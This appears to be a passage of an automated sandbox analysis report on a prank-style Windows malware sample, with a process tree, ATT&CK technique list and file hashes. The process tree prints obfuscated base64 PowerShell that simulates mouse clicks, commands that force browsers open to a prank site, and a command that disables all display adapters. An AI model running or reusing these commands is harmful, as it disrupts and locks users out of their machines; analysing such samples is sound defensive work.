      4⤵
      PID:6912
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:5652
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7160
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5612
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6296
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffcbbbbc728,0x7ffcbbbbc734,0x7ffcbbbbc740
        5⤵
        
        PID:6772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3052
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6092
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:5804
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-PnpDevice -Class 'Display' | Where-Object {$_.Status -eq 'OK'} | Disable-PnpDevice -Confirm:$false"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:7844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"cd "C:\Users\Admin\Downloads\ExtractedFiles"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3292

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4364

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4584

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2fc 0x464
1⤵
PID:7460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:7936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:8632

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /R /T
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:9164

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1379012302\manifest.json
Size 53B
SHA256 584e92e2b45fa9a2675d6b662059f0153a9ce5a771607ea4d7e87cd5be9e0dac
MD5 126409b338902b6cdf2befcb054286b4
SHA1 7a4734851407a64a0f493e0411fcc7567fb56a62
SHA512 faf1148b96096266618914670b402143edeb79641951c22d1112abc4678ff4793748b225661ee59e163970281265eb4c4ecc5d182d5f2c0ba55b02b0e5c76ee6
TLSH
T1BA9002700414921716C10E506570B881A391661955854D1E04551558029586CE050298
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1416914495\manifest.json
Size 72B
SHA256 9811cd3e1fbf80feb6a52ad2141fc1096165a100c2d5846dd48f9ed612c6fc9f
MD5 a30b19bb414d78fff00fc7855d6ed5fd
SHA1 2a6408f2829e964c578751bf29ec4f702412c11e
SHA512 66b6db60e9e6f3059d1a47db14f05d35587aa2019bc06e6cf352dfbb237d9dfe6dce7cb21c9127320a7fdca5b9d3eb21e799abe6a926ae51b5f62cf646c30490
TLSH
T154A02230AC20A03330880B300032838383B02C0A2020FE0A0F0B2080A28823E20B220C
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1564406759\manifest.json
Size 160B
SHA256 31952875f8bb2e71f49231c95349945ffc0c1dd975f06309a0d138f002cfd23d
MD5 c3911ceb35539db42e5654bdd60ac956
SHA1 71be0751e5fc583b119730dbceb2c723f2389f6c
SHA512 d8b2c7c5b7105a6f0c4bc9c79c05b1202bc8deb90e60a037fec59429c04fc688a745ee1a0d06a8311466b4d14e2921dfb4476104432178c01df1e99deb48b331
TLSH
T1F1C08C73CC08AE7911B14B371B214642E3B8030B600039093A32084C0BA47B00262328
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_161026376\manifest.json
Size 113B
SHA256 98821f71a1973ac61b45967ce0c121eb598ac6e95abaa23c912d2f33e4237d8c
MD5 7ef3c71464d0fef472bc1d81fd363c62
SHA1 230e8ec0f849bf34d444c55ef548ba0c9c94d39b
SHA512 f74b96ec3b9569e360a02bfdd4fe237efad8ee2a5deaf46db891bcadd39dba22fd6d59a4e9aafe5511152625ce9f468519dadd53fc0c9b6c8826dc58cbe6cd7c
TLSH
T1C8B09262DC80D872693A93AC0E2246C4F228234B2558AA493630048C0A3A3F082A2321
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1634538660\manifest.json
Size 102B
SHA256 932322ae700a7d7606efb182239db5fd9550dd6cb5860e0a17bfb6fe3bcb5f35
MD5 19322c8a94f1ac01a70f8c58cdbbc720
SHA1 7c90dac178c47dac9087dfce738f24a4a627f022
SHA512 f54a9cab8dbe96333862a67912e88c4f26cc3e25a7dc93e8f06d1fb5b0b8e91d53cc0f5619c192380573a2846034ee583276d7eda73dc9fc93bb0d9168f4e099
TLSH
T156B01221EC10B4B32004036C086CC3C063272F032C4079280DE19F84E90D9DBE471528
MD5 SHA1 SHA512 TLSH

